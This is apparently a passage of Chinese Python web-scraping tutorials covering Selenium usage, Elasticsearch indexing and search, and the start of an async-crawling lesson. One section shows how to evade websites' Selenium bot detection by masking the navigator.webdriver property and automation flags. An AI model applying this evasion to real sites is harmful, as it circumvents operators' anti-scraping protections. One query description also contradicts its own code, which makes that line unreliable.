<selenium.webdriver.remote.webelement.WebElement (session="07dd2fbc2d5b1ce40e82b9754aba8fa8", element="0.5642646294074107-1")>
<selenium.webdriver.remote.webelement.WebElement (session="07dd2fbc2d5b1ce40e82b9754aba8fa8", element="0.5642646294074107-2")>

可以看到,控制台成功输出了两个节点,它们都是 WebElement 类型。

如果网络有问题,10 秒内没有成功加载,那就抛出 TimeoutException 异常,此时控制台的输出如下:

1
2
3
4
5
TimeoutException Traceback (most recent call last)
<ipython-input-4-f3d73973b223> in <module>()
7 browser.get('https://www.taobao.com/')
8 wait = WebDriverWait(browser, 10)
----> 9 input = wait.until(EC.presence_of_element_located((By.ID, 'q')))

关于等待条件,其实还有很多,比如判断标题内容,判断某个节点内是否出现了某文字等。下表列出了所有的等待条件。

等待条件 含义
title_is 标题是某内容
title_contains 标题包含某内容
presence_of_element_located 节点加载出来,传入定位元组,如 (By.ID, 'p')
visibility_of_element_located 节点可见,传入定位元组
visibility_of 可见,传入节点对象
presence_of_all_elements_located 所有节点加载出来
text_to_be_present_in_element 某个节点文本包含某文字
text_to_be_present_in_element_value 某个节点值包含某文字
frame_to_be_available_and_switch_to_it frame 加载并切换
invisibility_of_element_located 节点不可见
element_to_be_clickable 节点可点击
staleness_of 判断一个节点是否仍在 DOM,可判断页面是否已经刷新
element_to_be_selected 节点可选择,传入节点对象
element_located_to_be_selected 节点可选择,传入定位元组
element_selection_state_to_be 传入节点对象以及状态,相等返回 True,否则返回 False
element_located_selection_state_to_be 传入定位元组以及状态,相等返回 True,否则返回 False
alert_is_present 是否出现 Alert

更多等待条件的参数及用法介绍可以参考官方文档:http://selenium-python.readthedocs.io/api.html#module-selenium.webdriver.support.expected_conditions。

12. 前进后退

平常使用浏览器时,都有前进和后退功能,Selenium 也可以完成这个操作,它使用 back 方法后退,使用 forward 方法前进。示例如下:

1
2
3
4
5
6
7
8
9
10
11
import time
from selenium import webdriver

browser = webdriver.Chrome()
browser.get('https://www.baidu.com/')
browser.get('https://www.taobao.com/')
browser.get('https://www.python.org/')
browser.back()
time.sleep(1)
browser.forward()
browser.close()

这里我们连续访问 3 个页面,然后调用 back 方法回到第二个页面,接下来再调用 forward 方法又可以前进到第三个页面。

13. Cookies

使用 Selenium,还可以方便地对 Cookies 进行操作,例如获取、添加、删除 Cookies 等。示例如下:

1
2
3
4
5
6
7
8
9
from selenium import webdriver

browser = webdriver.Chrome()
browser.get('https://www.zhihu.com/explore')
print(browser.get_cookies())
browser.add_cookie({'name': 'name', 'domain': 'www.zhihu.com', 'value': 'germey'})
print(browser.get_cookies())
browser.delete_all_cookies()
print(browser.get_cookies())

首先,我们访问了知乎。加载完成后,浏览器实际上已经生成 Cookies 了。接着,调用 get_cookies 方法获取所有的 Cookies。然后,我们添加一个 Cookie,这里传入一个字典,有 namedomainvalue 等内容。接下来,再次获取所有的 Cookies。可以发现,结果就多了这一项新加的 Cookie。最后,调用 delete_all_cookies 方法删除所有的 Cookies。再重新获取,发现结果就为空了。

控制台的输出如下:

1
2
3
[{'secure': False, 'value': '"NGM0ZTM5NDAwMWEyNDQwNDk5ODlkZWY3OTkxY2I0NDY=|1491604091|236e34290a6f407bfbb517888849ea509ac366d0"', 'domain': '.zhihu.com', 'path': '/', 'httpOnly': False, 'name': 'l_cap_id', 'expiry': 1494196091.403418}, ...]
[{'secure': False, 'value': 'germey', 'domain': '.www.zhihu.com', 'path': '/', 'httpOnly': False, 'name': 'name'}, {'secure': False, 'value': '"NGM0ZTM5NDAwMWEyNDQwNDk5ODlkZWY3OTkxY2I0NDY=|1491604091|236e34290a6f407bfbb517888849ea509ac366d0"', 'domain': '.zhihu.com', 'path': '/', 'httpOnly': False, 'name': 'l_cap_id', 'expiry': 1494196091.403418}, ...]
[]

通过以上方法来操作 Cookies 还是非常方便的。

14. 选项卡管理

在访问网页的时候,会开启一个个选项卡。在 Selenium 中,我们也可以对选项卡进行操作。示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
import time
from selenium import webdriver

browser = webdriver.Chrome()
browser.get('https://www.baidu.com')
browser.execute_script('window.open()')
print(browser.window_handles)
browser.switch_to.window(browser.window_handles[1])
browser.get('https://www.taobao.com')
time.sleep(1)
browser.switch_to.window(browser.window_handles[0])
browser.get('https://python.org')

控制台的输出如下:

1
['CDwindow-4f58e3a7-7167-4587-bedf-9cd8c867f435', 'CDwindow-6e05f076-6d77-453a-a36c-32baacc447df']

这里首先访问了百度,然后调用了 execute_script 方法,这里传入 window.open 这个 JavaScript 语句新开启一个选项卡。接下来,我们想切换到该选项卡。这里调用 window_handles 属性获取当前开启的所有选项卡,返回的是选项卡的代号列表。要想切换选项卡,只需要调用 switch_to.window 方法即可,其中参数是选项卡的代号。这里我们将第二个选项卡代号传入,即跳转到第二个选项卡,接下来在第二个选项卡下打开一个新页面,然后切换回第一个选项卡重新调用 switch_to.window 方法,再执行其他操作即可。

15. 异常处理

在使用 Selenium 的过程中,难免会遇到一些异常,例如超时、节点未找到等错误,一旦出现此类错误,程序便不会继续运行了。这里我们可以使用 try except 语句来捕获各种异常。

首先,演示一下节点未找到的异常,示例如下:

1
2
3
4
5
from selenium import webdriver

browser = webdriver.Chrome()
browser.get('https://www.baidu.com')
browser.find_element_by_id('hello')

这里首先打开百度页面,然后尝试选择一个并不存在的节点,此时就会遇到异常。

运行之后控制台的输出如下:

1
2
3
4
5
NoSuchElementException Traceback (most recent call last)
<ipython-input-23-978945848a1b> in <module>()
3 browser = webdriver.Chrome()
4 browser.get('https://www.baidu.com')
----> 5 browser.find_element_by_id('hello')

可以看到,这里抛出了 NoSuchElementException 异常,这通常是节点未找到的异常。为了防止程序遇到异常而中断,我们需要捕获这些异常,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from selenium import webdriver
from selenium.common.exceptions import TimeoutException, NoSuchElementException

browser = webdriver.Chrome()
try:
browser.get('https://www.baidu.com')
except TimeoutException:
print('Time Out')
try:
browser.find_element_by_id('hello')
except NoSuchElementException:
print('No Element')
finally:
browser.close()

这里我们使用 try except 来捕获各类异常。比如,我们对 find_element_by_id 查找节点的方法捕获 NoSuchElementException 异常,这样一旦出现这样的错误,就进行异常处理,程序也不会中断了。

控制台的输出如下:

1
No Element

关于更多的异常类,可以参考官方文档::http://selenium-python.readthedocs.io/api.html#module-selenium.common.exceptions。

16. 反屏蔽

现在很多网站都加上了对 Selenium 的检测,来防止一些爬虫的恶意爬取。即如果检测到有人在使用 Selenium 打开浏览器,那就直接屏蔽。

在大多数情况下,检测的基本原理是检测当前浏览器窗口下的 window.navigator 对象是否包含 webdriver 这个属性。因为在正常使用浏览器的情况下,这个属性是 undefined,然而一旦我们使用了 Selenium,Selenium 会给 window.navigator 设置 webdriver 属性。很多网站就通过 JavaScript 判断如果 webdriver 属性存在,那就直接屏蔽。

这边有一个典型的案例网站:https://antispider1.scrape.center/,这个网站就使用了上述原理实现了 WebDriver 的检测,如果使用 Selenium 直接爬取的话,那就会返回如图所示的页面。

image-20210705014022028

这时候我们可能想到直接使用 JavaScript 语句把这个 webdriver 属性置空,比如通过调用 execute_script 方法来执行如下代码:

1
Object.defineProperty(navigator, "webdriver", { get: () => undefined });

这行 JavaScript 语句的确可以把 webdriver 属性置空,但是 execute_script 调用这行 JavaScript 语句实际上是在页面加载完毕之后才执行的,执行太晚了,网站早在最初页面渲染之前就已经对 webdriver 属性进行了检测,所以用上述方法并不能达到效果。

在 Selenium 中,我们可以使用 CDP(即 Chrome Devtools-Protocol,Chrome 开发工具协议)来解决这个问题,通过它我们可以实现在每个页面刚加载的时候执行 JavaScript 代码,执行的 CDP 方法叫作 Page.addScriptToEvaluateOnNewDocument,然后传入上文的 JavaScript 代码即可,这样我们就可以在每次页面加载之前将 webdriver 属性置空了。另外,我们还可以加入几个选项来隐藏 WebDriver 提示条和自动化扩展信息,代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
from selenium import webdriver
from selenium.webdriver import ChromeOptions

option = ChromeOptions()
option.add_experimental_option('excludeSwitches', ['enable-automation'])
option.add_experimental_option('useAutomationExtension', False)
browser = webdriver.Chrome(options=option)
browser.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', {
'source': 'Object.defineProperty(navigator, "webdriver", {get: () => undefined})'
})
browser.get('https://antispider1.scrape.center/')

这样整个页面就能被加载出来了,如图所示。

对于大多数情况,以上方法均可以实现 Selenium 反屏蔽。但对于一些特殊网站,如果它有更多的 WebDriver 特征检测,可能需要具体排查。

17. 无头模式

我们可以观察到,上面的案例在运行的时候,总会弹出一个浏览器窗口,虽然有助于观察页面爬取状况,但在有时候窗口弹来弹去也会形成一些干扰。

Chrome 浏览器从 60 版本已经支持了无头模式,即 Headless。无头模式在运行的时候不会再弹出浏览器窗口,减少了干扰,而且它减少了一些资源的加载,如图片等,所以也在一定程度上节省了资源加载时间和网络带宽。

我们可以借助于 ChromeOptions 来开启 Chrome Headless 模式,代码实现如下:

1
2
3
4
5
6
7
8
9
from selenium import webdriver
from selenium.webdriver import ChromeOptions

option = ChromeOptions()
option.add_argument('--headless')
browser = webdriver.Chrome(options=option)
browser.set_window_size(1366, 768)
browser.get('https://www.baidu.com')
browser.get_screenshot_as_file('preview.png')

这里我们通过 ChromeOptions 的 add_argument 方法添加了一个参数 --headless,开启了无头模式。在无头模式下,我们最好设置一下窗口的大小,接着打开页面,最后我们调用 get_screenshot_as_file 方法输出了页面的截图。

运行代码之后,我们发现 Chrome 窗口就不会再弹出来了,代码依然正常运行,最后输出的页面如图所示。

输出的页面

这样我们就在无头模式下完成了页面的抓取和截图操作。

18. 总结

现在,我们基本上对 Selenium 的常规用法有了大体的了解。使用 Selenium,处理 JavaScript 渲染的页面不再是难事,后面我们会用一个实例来演示 Selenium 爬取网站的流程。

本节代码:https://github.com/Python3WebSpider/SeleniumTest。

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

想查数据,就免不了搜索,而搜索离不开搜索引擎。百度、谷歌都是非常庞大、复杂的搜索引擎,它们几乎索引了互联网上开放的所有网页和数据。然而对于我们自己的业务数据来说,没必要用这么复杂的技术。如果我们想实现自己的搜索引擎,为了便于存储和检索,Elasticsearch 就是不二选择。它是一个全文搜索引擎,可以快速存储、搜索和分析海量数据。

所以,如果我们我们将爬取到的数据存储到 Elasticsearch 里面,那将会非常方便检索。

1. Elasticsearch 介绍

Elasticsearch 是一个开源的搜索引擎,建立在一个全文搜索引擎库 Apache Lucene™ 基础之上。

那 Lucene 又是什么呢?Lucene 可能是目前存在的(不论开源还是私有的)拥有最先进、高性能和全功能搜索引擎功能的库,但也仅仅只是一个库。要想用 Lucene,我们需要编写 Java 并引用 Lucene 包才可以,而且我们需要对信息检索有一定程度的理解。

为了解决这个问题,Elasticsearch 就诞生了。Elasticsearch 也是使用 Java 编写的,它的内部使用 Lucene 做索引与搜索,但是它的目标是使全文检索变得简单,相当于 Lucene 的一层封装,它提供了一套简单一致的 RESTful API 来帮助我们实现存储和检索。

所以 Elasticsearch 仅仅就是一个简易版的 Lucene 封装吗?那就大错特错了,Elasticsearch 不仅仅是 Lucene,并且也不仅仅只是一个全文搜索引擎。它可以这样准确形容:

  • 一个分布式的实时文档存储,每个字段可以被索引与搜索;
  • 一个分布式实时分析搜索引擎;
  • 能胜任上百个服务节点的扩展,并支持 PB 级别的结构化或者非结构化数据。

总之,它是一个非常强大的搜索引擎,维基百科、Stack Overflow、GitHub 都纷纷采用它来做搜索,不仅仅提供强大的检索能力,也提供强大的存储能力。

2. Elasticsearch 相关概念

在 Elasticsearch 中有几个基本概念,如节点、索引、文档等,下面分别说明一下。理解了这些概念,对熟悉 Elasticsearch 是非常有帮助的。

节点和集群

Elasticsearch 本质上是一个分布式数据库,允许多台服务器协同工作,每台服务器可以运行多个 Elasticsearch 实例。

单个 Elasticsearch 实例称为一个节点(Node),一组节点构成一个集群(Cluster)。

索引

索引,即 Index,Elasticsearch 会索引所有字段,经过处理后写入一个反向索引(Inverted Index)。查找数据的时候,直接查找该索引。

所以,Elasticsearch 数据管理的顶层单位就叫作索引,其实就相当于 MySQL、MongoDB 等中数据库的概念。另外,值得注意的是,每个索引 (即数据库)的名字必须小写。

文档

文档,即 Document。索引里面单条记录称为文档,许多条文档构成了一个索引。

同一个索引里面的文档,不要求有相同的结构(Schema),但是最好保持一致,因为这样有利于提高搜索效率。

类型

文档可以分组,比如 weather 这个索引里面,既可以按城市分组(北京和上海),也可以按气候分组(晴天和雨天)。这种分组就叫作类型(Type),它是虚拟的逻辑分组,用来过滤文档,类似 MySQL 中的数据表、MongoDB 中的 Collection。

不同的类型应该有相似的结构。举例来说,id 字段不能在这个组中是字符串,在另一个组中是数值。这是与关系型数据库的表的一个区别。性质完全不同的数据(比如 productslogs)应该存成两个索引,而不是一个索引里面的两个类型(虽然可以做到)。

根据规划,Elastic 6.x 版只允许每个索引包含一个类型,Elastic 7.x 开始将会将其彻底移除。

字段

每个文档都类似一个 JSON 结构,它包含了许多字段,每个字段都有其对应的值,多个字段组成了一个文档,其实就可以类比 MySQL 数据表中的字段。

在 Elasticsearch 中,文档归属于一种类型(Type),而这些类型存在于索引中,我们可以画一些简单的对比图来类比传统关系型数据库:

1
2
Relational DB -> Databases -> Tables -> Rows -> Columns
Elasticsearch -> Indices -> Types -> Documents -> Fields

以上就是 Elasticsearch 里面的一些基本概念,通过和关系型数据库的对比更加有助于理解。

3. 准备工作

在开始本节实际操作之前,请确保已经正确安装好了 Elasticsearch,安装方式可以参考:https://setup.scrape.center/elasticsearch,安装完成之后确保其在本地 9200 端口上正常运行即可。

Elasticsearch 实际上提供了一系列 Restful API 来进行存取和查询操作,我们可以使用 curl 等命令或者直接调用 API 来进行数据存储和修改操作,但总归来说并不是很方便。所以这里我们就直接介绍一个专门用来对接 Elasticsearch 操作的 Python 库,名称也叫做 Elasticsearch,使用 pip3 安装即可:

1
pip3 install elasticsearch

更详细的安装方式可以参考:https://setup.scrape.center/elasticsearch-py。

安装好了之后我们就可以开始本节的学习了。

4. 创建索引

我们先来看下怎样创建一个索引,这里我们创建一个名为 news 的索引:

1
2
3
4
5
from elasticsearch import Elasticsearch

es = Elasticsearch()
result = es.indices.create(index='news', ignore=400)
print(result)

这里我们首先创建了一个 Elasticsearch 对象,并且没有设置任何参数,默认情况下它会连接本地 9200 端口运行的 Elasticsearch 服务,我们也可以设置特定的连接信息,如:

1
2
3
4
es = Elasticsearch(
['https://[username:password@]hostname:port'],
verify_certs=True, # 是否验证 SSL 证书
)

第一个参数我们可以构造特定格式的链接字符串并传入,hostname 和 port 即 Elasticsearch 运行的地址和端口,username 和 password 是可选的,代表连接 Elasticsearch 需要的用户名和密码,另外而且还有其他的参数设置,比如 verify_certs 代表是否验证证书有效性。更多参数的设置可以参考:https://elasticsearch-py.readthedocs.io/en/latest/api.html#elasticsearch。

声明 Elasticsearch 对象之后,我们调用了 es 的 indices 对象的 create 方法传入了 index 的名称,如果创建成功,会返回如下结果:

1
{'acknowledged': True, 'shards_acknowledged': True, 'index': 'news'}

可以看到,其返回结果是 JSON 格式,其中的 acknowledged 字段表示创建操作执行成功。

但这时如果我们再把代码执行一次的话,就会返回如下结果:

1
{'error': {'root_cause': [{'type': 'resource_already_exists_exception', 'reason': 'index [news/hHEYozoqTzK_qRvV4j4a3w] already exists', 'index_uuid': 'hHEYozoqTzK_qRvV4j4a3w', 'index': 'news'}], 'type': 'resource_already_exists_exception', 'reason': 'index [news/hHEYozoqTzK_qRvV4j4a3w] already exists', 'index_uuid': 'hHEYozoqTzK_qRvV4j4a3w', 'index': 'news'}, 'status': 400}

它提示创建失败,status 状态码是 400,错误原因是索引已经存在了。

注意在这里的代码中,我们使用的 ignore 参数为 400,这说明如果返回结果是 400 的话,就忽略这个错误,不会报错,程序不会抛出异常。

假如我们不加 ignore 这个参数的话:

1
2
3
es = Elasticsearch()
result = es.indices.create(index='news')
print(result)

再次执行就会报错了:

1
2
raise HTTP_EXCEPTIONS.get(status_code, TransportError)(status_code, error_message, additional_info)
elasticsearch.exceptions.RequestError: TransportError(400, 'resource_already_exists_exception', 'index [news/QM6yz2W8QE-bflKhc5oThw] already exists')

这样程序的执行就会出现问题。因此,我们需要善用 ignore 参数,把一些意外情况排除,这样可以保证程序正常执行而不会中断。

创建完之后,我们还可以设置下索引的字段映射定义,可以参考:https://elasticsearch-py.readthedocs.io/en/latest/api.html?#elasticsearch.client.IndicesClient.put_mapping。

5. 删除索引

删除索引也是类似的,代码如下:

1
2
3
4
5
from elasticsearch import Elasticsearch

es = Elasticsearch()
result = es.indices.delete(index='news', ignore=[400, 404])
print(result)

这里也使用了 ignore 参数来忽略索引不存在而删除失败导致程序中断的问题。

如果删除成功,会输出如下结果:

1
{'acknowledged': True}

如果索引已经被删除,再执行删除,则会输出如下结果:

1
{'error': {'root_cause': [{'type': 'index_not_found_exception', 'reason': 'no such index [news]', 'resource.type': 'index_or_alias', 'resource.id': 'news', 'index_uuid': '_na_', 'index': 'news'}], 'type': 'index_not_found_exception', 'reason': 'no such index [news]', 'resource.type': 'index_or_alias', 'resource.id': 'news', 'index_uuid': '_na_', 'index': 'news'}, 'status': 404}

这个结果表明当前索引不存在,删除失败。返回的结果同样是 JSON,状态码是 404,但是由于我们添加了 ignore 参数,忽略了 404 状态码,因此程序正常执行,输出 JSON 结果,而不是抛出异常。

6. 插入数据

Elasticsearch 就像 MongoDB 一样,在插入数据的时候可以直接插入结构化字典数据,插入数据可以调用 create 方法。例如,这里我们插入一条新闻数据:

1
2
3
4
5
6
7
8
9
10
11
from elasticsearch import Elasticsearch

es = Elasticsearch()
es.indices.create(index='news', ignore=400)

data = {
'title': '乘风破浪不负韶华,奋斗青春圆梦高考',
'url': 'http://view.inews.qq.com/a/EDU2021041600732200'
}
result = es.create(index='news', id=1, body=data)
print(result)

这里我们首先声明了一条新闻数据,包括标题和链接,然后通过调用 create 方法插入了这条数据。在调用 create 方法时,我们传入了 4 个参数,index 参数代表了索引名称,id 则是数据的唯一标识 ID,body 则代表了文档的具体内容。

运行结果如下:

1
{'_index': 'news', '_type': '_doc', '_id': '1', '_version': 1, 'result': 'created', '_shards': {'total': 2, 'successful': 1, 'failed': 0}, '_seq_no': 0, '_primary_term': 1}

结果中 result 字段为 created,代表该数据插入成功。

另外,其实我们也可以使用 index 方法来插入数据。但与 create 不同的是,create 方法需要我们指定 id 字段来唯一标识该条数据,而 index 方法则不需要,如果不指定 id,会自动生成一个 id。调用 index 方法的写法如下:

1
es.index(index='news', body=data)

create 方法内部其实也是调用了 index 方法,是对 index 方法的封装。

7. 更新数据

更新数据也非常简单,我们同样需要指定数据的 id 和内容,调用 update 方法即可,代码如下:

1
2
3
4
5
6
7
8
9
10
from elasticsearch import Elasticsearch

es = Elasticsearch()
data = {
'title': '乘风破浪不负韶华,奋斗青春圆梦高考',
'url': 'http://view.inews.qq.com/a/EDU2021041600732200',
'date': '2021-07-05'
}
result = es.update(index='news', body=data, id=1)
print(result)

这里我们为数据增加了一个日期字段,然后调用了 update 方法,结果如下:

1
{'_index': 'news', '_type': '_doc', '_id': '1', '_version': 2, 'result': 'updated', '_shards': {'total': 2, 'successful': 1, 'failed': 0}, '_seq_no': 1, '_primary_term': 1}

可以看到,返回结果中 result 字段为 updated,即表示更新成功。另外,我们还注意到一个字段 _version,这代表更新后的版本号数,2 代表这是第二个版本。因为之前已经插入过一次数据,所以第一次插入的数据是版本 1,可以参见上例的运行结果,这次更新之后版本号就变成了 2,以后每更新一次,版本号都会加 1。

另外,更新操作利用 index 方法同样可以做到,其写法如下:

1
es.index(index='news', body=data, id=1)

可以看到,index 方法可以代替我们完成插入和更新数据这两个操作。如果数据不存在,就执行插入操作,如果已经存在,就执行更新操作,非常方便。

8. 删除数据

如果想删除一条数据,可以调用 delete 方法并指定需要删除的数据 id 即可。其写法如下:

1
2
3
4
5
from elasticsearch import Elasticsearch

es = Elasticsearch()
result = es.delete(index='news', id=1)
print(result)

运行结果如下:

1
{'_index': 'news', '_type': '_doc', '_id': '1', '_version': 2, 'result': 'deleted', '_shards': {'total': 2, 'successful': 1, 'failed': 0}, '_seq_no': 3, '_primary_term': 1}

可以看到,运行结果中 result 字段为 deleted,代表删除成功;_version 变成了 3,又增加了 1。

9. 查询数据

上面的几个操作都是非常简单的操作,普通的数据库如 MongoDB 都可以完成,看起来并没有什么了不起的,Elasticsearch 更特殊的地方在于其异常强大的检索功能。

对于中文来说,我们需要安装一个分词插件,这里使用的是 elasticsearch-analysis-ik,其 GitHub 链接为https://github.com/medcl/elasticsearch-analysis-ik。这里我们使用 Elasticsearch 的另一个命令行工具 elasticsearch-plugin 来安装,这里安装的版本是 7.13.2,请确保和 Elasticsearch 的版本对应起来,命令如下:

1
elasticsearch-plugin install https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v7.13.2/elasticsearch-analysis-ik-7.13.2.zip

这里的版本号请替换成你的 Elasticsearch 版本号。

安装之后,我们需要重新启动 Elasticsearch,启动之后它会自动加载安装好的插件。

首先,我们重新新建一个索引并指定需要分词的字段,相应代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from elasticsearch import Elasticsearch

es = Elasticsearch()
mapping = {
'properties': {
'title': {
'type': 'text',
'analyzer': 'ik_max_word',
'search_analyzer': 'ik_max_word'
}
}
}
es.indices.delete(index='news', ignore=[400, 404])
es.indices.create(index='news', ignore=400)
result = es.indices.put_mapping(index='news', body=mapping)
print(result)

这里我们先将之前的索引删除了,然后新建了一个索引,接着更新了它的 mapping 信息。mapping 信息中指定了分词的字段,指定了字段的类型 typetext,分词器 analyzer 和搜索分词器 search_analyzerik_max_word,即使用我们刚才安装的中文分词插件。如果不指定的话,则使用默认的英文分词器。

接下来,我们插入几条新数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from elasticsearch import Elasticsearch

es = Elasticsearch()

datas = [
{
'title': '高考结局大不同',
'url': 'https://k.sina.com.cn/article_7571064628_1c3454734001011lz9.html',
},
{
'title': '进入职业大洗牌时代,“吃香”职业还吃香吗?',
'url': 'https://new.qq.com/omn/20210828/20210828A025LK00.html',
},
{
'title': '乘风破浪不负韶华,奋斗青春圆梦高考',
'url': 'http://view.inews.qq.com/a/EDU2021041600732200',
},
{
'title': '他,活出了我们理想的样子',
'url': 'https://new.qq.com/omn/20210821/20210821A020ID00.html',
}
]

for data in datas:
es.index(index='news', body=data)

这里我们指定了 4 条数据,它们都带有 titleurl 字段,然后通过 index 方法将其插入 Elasticsearch 中,索引名称为 news

接下来,我们根据关键词查询一下相关内容:

1
2
result = es.search(index='news')
print(result)

可以看到,这里查询出了插入的 4 条数据:

1
{'took': 11, 'timed_out': False, '_shards': {'total': 1, 'successful': 1, 'skipped': 0, 'failed': 0}, 'hits': {'total': {'value': 4, 'relation': 'eq'}, 'max_score': 1.0, 'hits': [{'_index': 'news', '_type': '_doc', '_id': 'jebpkHsBm-BAny-7hOYp', '_score': 1.0, '_source': {'title': '高考结局大不同', 'url': 'https://k.sina.com.cn/article_7571064628_1c3454734001011lz9.html'}}, {'_index': 'news', '_type': '_doc', '_id': 'jubpkHsBm-BAny-7hObz', '_score': 1.0, '_source': {'title': '进入职业大洗牌时代,“吃香”职业还吃香吗?', 'url': 'https://new.qq.com/omn/20210828/20210828A025LK00.html'}}, {'_index': 'news', '_type': '_doc', '_id': 'j-bpkHsBm-BAny-7heZN', '_score': 1.0, '_source': {'title': '乘风破浪不负韶华,奋斗青春圆梦高考', 'url': 'http://view.inews.qq.com/a/EDU2021041600732200'}}, {'_index': 'news', '_type': '_doc', '_id': 'kObpkHsBm-BAny-7hean', '_score': 1.0, '_source': {'title': '他,活出了我们理想的样子', 'url': 'https://new.qq.com/omn/20210821/20210821A020ID00.html'}}]}}

可以看到,返回结果会出现在 hits 字段里面,其中 total 字段标明了查询的结果条目数,max_score 代表了最大匹配分数。

另外,我们还可以进行全文检索,这才是体现 Elasticsearch 搜索引擎特性的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from elasticsearch import Elasticsearch
import json

dsl = {
'query': {
'match': {
'title': '高考 圆梦'
}
}
}

es = Elasticsearch()
result = es.search(index='news', body=dsl)
print(result)

这里我们使用 Elasticsearch 支持的 DSL 语句来进行查询,使用 match 指定全文检索,检索的字段是 title,内容是“中国 领事馆”,搜索结果如下:

1
{'took': 6, 'timed_out': False, '_shards': {'total': 1, 'successful': 1, 'skipped': 0, 'failed': 0}, 'hits': {'total': {'value': 2, 'relation': 'eq'}, 'max_score': 1.7796917, 'hits': [{'_index': 'news', '_type': '_doc', '_id': 'j-bpkHsBm-BAny-7heZN', '_score': 1.7796917, '_source': {'title': '乘风破浪不负韶华,奋斗青春圆梦高考', 'url': 'http://view.inews.qq.com/a/EDU2021041600732200'}}, {'_index': 'news', '_type': '_doc', '_id': 'jebpkHsBm-BAny-7hOYp', '_score': 0.81085134, '_source': {'title': '高考结局大不同', 'url': 'https://k.sina.com.cn/article_7571064628_1c3454734001011lz9.html'}}]}}

这里我们看到匹配的结果有两条,第一条的分数为 1.7796917,第二条的分数为 0.81085134,这是因为第一条匹配的数据中含有“高考”和“圆梦”两个词,第二条匹配的数据中不包含“圆梦”,但是包含了“高考”这个词,所以也被检索出来了,但是分数比较低。

因此,可以看出,检索时会对对应的字段进行全文检索,结果还会按照检索关键词的相关性进行排序,这就是一个基本的搜索引擎雏形。

另外,Elasticsearch 还支持非常多的查询方式,这里就不再一一展开描述了,总之其功能非常强大,详情可以参考官方文档:https://www.elastic.co/guide/en/elasticsearch/reference/master/query-dsl.html。

10. 总结

以上便是对 Elasticsearch 的基本介绍以及使用 Python 操作 Elasticsearch 的基本用法,但这仅仅是 Elasticsearch 的基本功能,它还有更多强大的功能等待着我们去探索。

本节代码地址:https://github.com/Python3WebSpider/ElasticSearchTest。

Python

爬虫系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

我们知道爬虫是 IO 密集型任务,比如如果我们使用 requests 库来爬取某个站点的话,发出一个请求之后,程序必须要等待网站返回响应之后才能接着运行,而在等待响应的过程中,整个爬虫程序是一直在等待的,实际上没有做任何事情。对于这种情况,我们有没有优化方案呢?

当然有,下面我们就来了解一下异步爬虫的基本概念和实现。

要实现异步机制的爬虫,那自然和协程脱不了关系。

1. 案例引入

在介绍协程之前,我们先来看一个案例网站,链接地址为:https://httpbin.org/delay/5,如果我们访问这个链接,需要等待五秒之后才能得到结果,这是因为服务器强制等待了 5 秒的时间才返回响应。

平时我们浏览网页的时候,绝大部分网页响应速度还是很快的,如果我们写爬虫来爬取的话,发出 Request 到收到 Response 的时间不会很长,因此我们需要等待的时间并不多。

然而像上面这个网站,一次 Request 就需要 5 秒才能得到 Response,如果我们用 requests 写爬虫来爬取的话,那每次 requests 都要等待 5 秒才能拿到结果了。

我们来测试下,下面我们来用 requests 写一个遍历程序,直接遍历 100 次试试看,实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import logging
import time

logging.basicConfig(level=logging.INFO,
format='%(asctime)s - %(levelname)s: %(message)s')

TOTAL_NUMBER = 100
URL = 'https://httpbin.org/delay/5'

start_time = time.time()
for _ in range(1, TOTAL_NUMBER + 1):
logging.info('scraping %s', URL)
response = requests.get(URL)
end_time = time.time()
logging.info('total time %s seconds', end_time - start_time)

这里我们直接用循环的方式构造了 100 个 Request,使用的是 requests 单线程,在爬取之前和爬取之后记录了时间,最后输出爬取了 100 个页面消耗的时间。

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
2020-08-03 01:01:36,781 - INFO: scraping https://httpbin.org/delay/5
2020-08-03 01:01:43,410 - INFO: scraping https://httpbin.org/delay/5
2020-08-03 01:01:50,029 - INFO: scraping https://httpbin.org/delay/5
2020-08-03 01:01:56,702 - INFO: scraping https://httpbin.org/delay/5
2020-08-03 01:02:03,345 - INFO: scraping https://httpbin.org/delay/5
2020-08-03 01:02:09,958 - INFO: scraping https://httpbin.org/delay/5
2020-08-03 01:02:16,500 - INFO: scraping https://httpbin.org/delay/5
2020-08-03 01:02:23,143 - INFO: scraping https://httpbin.org/delay/5
...
2020-08-03 01:12:19,867 - INFO: scraping https://httpbin.org/delay/5
2020-08-03 01:12:26,479 - INFO: scraping https://httpbin.org/delay/5
2020-08-03 01:12:33,083 - INFO: scraping https://httpbin.org/delay/5
2020-08-03 01:12:39,758 - INFO: total time 662.9764430522919 seconds

由于每个页面至少要等待 5 秒才能加载出来,因此 100 个页面至少要花费 500 秒的时间,加上网站本身负载的问题,总的爬取时间最终为 663 秒,大约 11 分钟。

这在实际情况下是很常见的,有些网站本身加载速度就比较慢,稍慢的可能 1~3 秒,更慢的说不定 10 秒以上。如果我们用 requests 单线程这么爬取的话,总的耗时是非常多的。此时如果我们开了多线程或多进程来爬取的话,其爬取速度确实会成倍提升,那是否有更好的解决方案呢?

本节就来了解一下使用协程来加速的方法,此种方法对于 IO 密集型任务非常有效。如将其应用到网络爬虫中,爬取效率甚至可以成百倍地提升。

